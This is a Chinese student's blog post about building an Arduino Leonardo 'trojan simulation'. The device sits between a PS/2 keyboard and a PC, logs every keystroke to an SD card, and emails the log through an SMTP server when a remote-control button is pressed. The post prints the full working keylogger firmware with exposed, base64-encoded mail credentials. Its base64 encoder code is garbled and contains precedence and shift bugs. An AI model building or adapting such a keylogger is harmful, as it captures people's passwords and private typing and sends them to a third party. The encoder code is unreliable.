Arduino 之木马模拟

心路历程

当老师说要做一个嵌入式的小东西时,就感觉有点慌,因为在潜意识中他是一个很难的东西,于是在接下来的几天之中,就上网去找arduino的相关资料,最终有了一个大致的轮廓觉得也不是那么难了。

接下来就是要确定做什么项目了,做什么项目呢?一开始在高中同学的提议下打算做一个黑板擦,这个方案也想了好几天,预计着是让黑板擦可以在黑板上自由移动,实现自动擦黑板的功能,这个实现需要一个颜色识别模块,可以识别白色,这些都不难,但是要让小车吸附在黑板上并且可以自由移动,这就有点难了,并且和c的关系不大,学不到什么有价值的东西,难点主要是物理问题,于是就放弃了。

接下来几天就沉浸在网上找合适的项目,当时就有点着急,想早早的将项目做完然后就完事了,在“Arduino 入门与进阶”这个网站上找到了一个气象台的项目,美其名为“气象台”,实际也就是测个温度湿度然后再把他显示出来而已罢了,觉得听简单,于是就把它报给了老师,可是后来一想,自己真的是太着急了,这样的话根本学不到什么东西。

于是打算静下心来,真的了解arduino一些基本的东西,于是在arduino中文社区上面找到了一些教程,买了一个套件,学了两天,做了一些实验点了几个灯泡。嘿嘿嘿,然后平常闲着没事的时候就会看看arduino library ,看看有什么好玩的库,以及自己能搞学到什么,自己对客户机服务器一起ip,mac,子网掩码之类的不大明白,然后找到了ethernet库感觉不错,可以学到很多东西,于是就想在自己的项目上加上网络的东西。一个偶然的机会,了解到了arduino leonardo可以充当键盘还有鼠标的功能,于是就想做一个键盘记录的东西。所以这个项目大体确定。

项目简介 

将arduino leonardo和PS2键盘相连(为什么是ps2键盘呢?因为这个板子不支持usb,还需要另外补一个usb扩展版,于是就选择了PS2键盘),当按键盘时候arduino识别出来按的是什么键然后存储到SD卡中,再将识别的按键打到电脑上,当按一个红外遥控器一个特殊的键时,所记录的信息就会通过Ethernet发送一个邮件给特定的人。

学习到的知识

  1. 了解了arduino控制传感器的基本原理,并且实战了红外传感模块的使用
  2. 练习了SD卡的读写问题
  3. 学习了SMTP协议,以及客户端和服务器
  4. 知道如何使用arduino leonardo对键盘和鼠标的模拟
  5. 知道了base64加密的基本原理,并且亲自写了一个从而联系到了位运算等C的很重要的方面

实现过程

1.第一次开始测试器件是SD卡读写,首先在一个周末拿出来两个小时来看一下SD库,因为虽然有现成的代码,但是要随心所欲的写还是要明白一些基本函数。学完之后就开始测试,但是却久久没有成功,渐渐的一个上午过去了,感觉很苦恼,下午查了一下原因,原因是我的SD卡是fat32格式的,但是SD库支持的却是fat16格式的,于是上网查了一下如何转换格式,下载了“diskgenius”这个软件,就把它格式化了但是 测试的时候还是没有成功!!

Arduino 之木马模拟_第1张图片

唉,一个下午又过去了,有时候一点小bug就会让你找一天,回宿舍问了大神(王天浩)但是他也没有什么解决方案,于是就想是不是SD卡的问题,因此特意去电子市场买了一个大的SD卡,把小卡替换掉,就当我正在期待奇迹发生的时候,还是失败,当时心情真是差到了极点,感觉很累,于是周日下午就回宿舍睡了一下午,晚上在继续上网寻找原因,上天眷顾我让我终于找到了原因 [链接][“arduino1”] [id]: http://swf.com.tw/?p=406 原来是arduino leonardo这个板子的接口和其他板子不一样,他的MOSI MISO CLK 这三个接口和大多数板子不一样。无比兴奋的我当即测试了一下,果然如此。虽然两天时间过去了,但是还好,总算把SD模块整好了。

2.第二步就是模拟键盘这个功能了,于是在下一周末,在图书馆测试了一下这次比较顺利,然后顺带将 * KeyBoard 和 PS2KeyBoard *这两个库学习了半天,也都进行的比较顺利了。

3.第三步也是最困难的一步了,就是网络的问题, 自己对网络一窍不通,但又不想半知半解,于是在图书馆找了一本书,可是看了几天感觉太抽象,一点收获也没有,于是找了一个学习网络的视频 [链接][arduino2] [id]:http://www.51zxw.net/list.aspx?cid=417 这个视频是我找过的最好的视频,因为他对与网络的讲解都是通过一个模拟软件来做实验的,所以看了十几天,感觉了解的差不多了,但是发邮件还有一个重要的协议没有学,那就是SMTP协议,[链接][arduino3] [id]:http://892848153.iteye.com/blog/1724591 [链接][arduino4][id]:http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386832745198026a685614e7462fb57dbf733cc9f3ad000 于是就找了这么两个教程,学完之后,准备工作已经就绪,就开始发邮件了,发邮件时用户名和密码需要用base64加密,当时并不知道是什么原理,于是在网上找了一个加密的转换器,就转换了。再发邮件过程中,也遇到了很大的困难

Arduino 之木马模拟_第2张图片

这个原因实在太难找出来了,于是就去问大神吧,他弄了一晚上也没到原因,最后他忽然想到了一个东西,原来是忘记了加client.println(“DATA”);这句话,原因找到那么自然而然就成功了当时真的很高兴,学到了很多好玩的东西比如putty这个软件的使用等,第一次真正对计算机产生了兴趣。

4.最后一步就是如何把零碎的片段整合起来,考虑到这个项目没有用什么传感器什么的,于是就想用一个红外遥控模块将他们串联起来,发射一个红外信号,给arduino一个信号,于是他就会发送一个邮件,接下来的工作比较简单了。

5 做出来!!!,就当我写好一切代码,并且连接好,并且准备享受成功的果实时,一个意想不到的情况却发生了

Arduino 之木马模拟_第3张图片

内存竟然全部占用,一共二百五十多行的代码竟然全部占用,不得已只好做精简工作,可是还是超额,没办法只有删删library里面的东西了,没有删过库的我只好上网去查,删了几个函数,删了几个变量,终于可以了,至此为止项目几乎完成。

材料清单

  1. arduino leonardo 一个
  2. Ethernet扩展版一个
  3. SD卡一张
  4. 网线一根
  5. 红外接收模块一个
  6. 红外遥控器一个
  7. PS2键盘一个
  8. 若干杜邦线

器件简介

PS2键盘简介

Arduino 之木马模拟_第4张图片

在编写程序之前,先要了解键盘和计算机之间是如何传输数据的。通过前面的内容,我们已经知道键盘与计算机之间其实是通过四根线连接的,除去电源和接地,起作用的实际上是时钟和数据,它们同时向计算机发送电信号. 而要将数据发送给计算机,键盘会同时检查这两根线路,只有确认它们都处于高位时,键盘才会发送数据,只要其中有一根处于低位,键盘就会认为其他设备正在发送数据,从而继续等待。

从键盘所发出的数据是一个11位的结构,如下图所示:

Arduino 之木马模拟_第5张图片

起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时,二者的校验值就进行一次按位或运算,最后循环运算的结果就是所发送给计算机的按键值。

红外模块简介

要使用遥控器控制arduino,首先我们得知道遥控器各按键对应的编码,不同的遥控器,不同的按键,不同的协议,对应不同的编码。遥控器的每个按键都对应了不同的编码,不同的遥控器使用的编码也不相同。

出现“FFFFFFFF”编码,是因为我使用的是NEC协议的遥控器,当按住某按键不放时,其会发送一个重复编码“FFFFFFFF”。而其他协议的遥控器,则会重复发送对应的编码。

红外编码的值可以通过实验来记录也可以根据网上资料来确定。我是根据实验来测得的我需要的值。

Arduino 之木马模拟_第6张图片

器件连接

步骤一

将Ethernet 拓展板插到arduino Leonardo上,然后插入SD卡。

步骤二

Keyboard arduino
4(+5v) 5v
3(GND) GND
5(CLOCK) pin3
1(DATA) pin5

步骤三

红外接收器最左端接arduino pin11,中间一个脚接arduino GND,最右边的脚接arduino3V的针脚

步骤四

将网线和Ethernet 扩展版相连,另一端与电脑相连

步骤五

进行网络配置,设置成可以共享网络

右键单击我的网络属性——>更改适配器设置

将网络设置为可共享。

Arduino 之木马模拟_第7张图片
Arduino 之木马模拟_第8张图片

#include 
#include
#include
#include 
#include 

const int datapin=5;
//键盘的data脚所接
const int clockpin=3;
//键盘的clock脚所接
const int sdpin=4;
//sd 卡的cs脚所接
PS2Keyboard board;
File datafile;

const int red=11;
//红外线的脚所接
IRrecv irrecv(red);
decode_results results;




byte server[]={220,181,12,17};
/*163邮箱的服务器ip地址
 * 可以自己在网上获得
 * 也可以自己活得方式是
 * 打开命令行输入 ping smtp.163.com
 * 回车即可
 */
char subject[]="Information";
EthernetClient client;
/*
 * 这个是发送邮件的程序
 */
void sendEmail(char subject[],char message[])
{
 if(client.connect(server,25))
 {
     //Serial.println("Connected");
     client.println("EHLO MYSERVER");
     delay(10);
     client.println("AUTH LOGIN");
     delay(10);
     client.println("MTc4NTMxNDExOTVAMTYzLmNvbQo=");
     /*
      * 发件人的用base64加密的用户名
      */
     delay(10);
     client.println("YWx6bXlocjEyMzQ=");
     /*
      * 发件人用base64加密的密码口令
      */
     delay(10);
     client.println("MAIL FROM:<[email protected]>");
     /*
      * 发件人的邮箱地址
      */
     delay(10);
     client.println("RCPT TO:<[email protected]>");
     /*
      * 收件人的邮箱地址
      */
     delay(10);
     client.println("DATA");
     client.print("SUBJECT:");
     delay(10);
     client.println(subject);
     /*
      * 邮件的主题
      */
     delay(10);
     client.println();
     delay(10);
     client.println(message);
     /*
      * 邮件的内容
      */
     client.print("\r\n.\r\n");
     delay(10);
     client.println("QUIT");
     delay(10);
     //Serial.println("Email sent");
  }
  //else
    //Serial.println("email send failed!");
}
/*
 * 这个是邮件服务器反馈回来的信息
 */
void checkEmail()
{
    while(client.available())
    {
        char c=client.read();
        //Serial.print(c);
    }
    if(!client.connected())
    {
        //Serial.println();
        //Serial.println("no connecting!");
        client.stop();
    }
}
/*
 * 这是接收红外线并作出反馈的函数
 */
void receiveRed()
{
    if(irrecv.decode(&results))
    {
        if(results.value==0xFF30CF)
        {
          char message[100];
             int num=0;
            datafile=SD.open("text1.txt");
            while(datafile.available())
            {  
             message[num]=datafile.read();
             num++;
            }
            sendEmail(subject,message);
            checkEmail();
        }
        irrecv.resume();
    }
}

void setup()
{
    board.begin(datapin,clockpin);
    Keyboard.begin();
    Serial.begin(9600);
    if(!SD.begin(sdpin))
    {
        //Serial.println("SD card failed to initialize!");
        return ;
    }
    datafile=SD.open("text1.txt",FILE_WRITE);
    if(!datafile)
    {
            //Serial.println("SD failed to open the file!");
            return;
    }
    byte mac[]={0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};
    //Ethernet板的mac地址
    byte ip[]={192,168,137,110};
    //ip地址需要根据自己所处网络的情况来配置
    Ethernet.begin(mac,ip);
    irrecv.enableIRIn();
    //Serial.println("we begin!");
}

void loop()
{
    if(board.available())
    {
        char c=board.read();

            if(c==PS2_ENTER)
            {
             Keyboard.press('\n');
             Keyboard.release('\n');
            }
        else
            if(c==PS2_BACKSPACE)
            {

              Keyboard.press(KEY_BACKSPACE);
              Keyboard.release(KEY_BACKSPACE);
            }
         else

            if(c==PS2_TAB)
            {

            Keyboard.press(KEY_TAB);
            Keyboard.release(KEY_TAB);
            }
        else
            if(c==PS2_ESC)
            {

            Keyboard.press(KEY_ESC);
            Keyboard.release(KEY_ESC);
            }
        else

            if(c==PS2_PAGEDOWN)
            {

            Keyboard.press(KEY_PAGE_DOWN);
            Keyboard.release(KEY_PAGE_DOWN);
            }
        else
            if(c==PS2_PAGEUP)
            {

            Keyboard.press(KEY_PAGE_UP);
            Keyboard.release(KEY_PAGE_UP);
            }
        else
            if(c==PS2_DELETE)
            {

            Keyboard.press(KEY_DELETE);
            Keyboard.release(KEY_DELETE);
            }

        else
        {
            Keyboard.press(c);
            Keyboard.release(c);
        }
         datafile.print(c);
         /*
          * 将得到的输入输入到sd卡中存储起来
          */
    }
    receiveRed();
}

由于这儿用到了base64加密,而自己对加密不大了解,以前一直以为是很高深的东西,但是经过了解,也没有那么高深,就写了一个编码的程序,学习到了关于位运算的很多知识。

#include 
#include 
using namespace std;

const string code="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
string encode(string s)
{
    string aim="";
    int i;
    int number=0;
    for(i=0;iif(number==3)
        {
            char c1 = (s[i-2]&0xfc)>>2;
            char c2= ((s[i-2]&0x03)<<4)+((s[i-1]&0xf0)>>4);
            char c3= ((s[i-1]&0x0f)<<2)+((s[i]&0xc0>>6));
            char c4= ((s[i]&0x3f));
            aim+=code[c1];
            aim+=code[c2];
            aim+=code[c3];
            aim+=code[c4];
            number=0;
        }
    }
    if(number)
    {

        for(int i=number;i<3;i++)
        {
            s+='\0';
        }

        char c[4];
             c[0] = (s[s.size()-3]&0xfc)>>2;
             c[1]= ((s[s.size()-3]&0x03)<<4)+((s[s.size()-2]&0xf0)>>4);
             c[2]= ((s[s.size()-2]&0x0f)<<4)+((s[s.size()-1]&0xc0>>6));
             c[3]= ((s[s.size()-1]&0x3f));
            for(int k=0;k<=3;k++)
            {
                if(k<=number)
                {
                    aim+=code[c[k]];
                }
                else
                    aim+="=";
            }

    }
    return aim;
}

好了项目到此完成!

你可能感兴趣的:(arduino)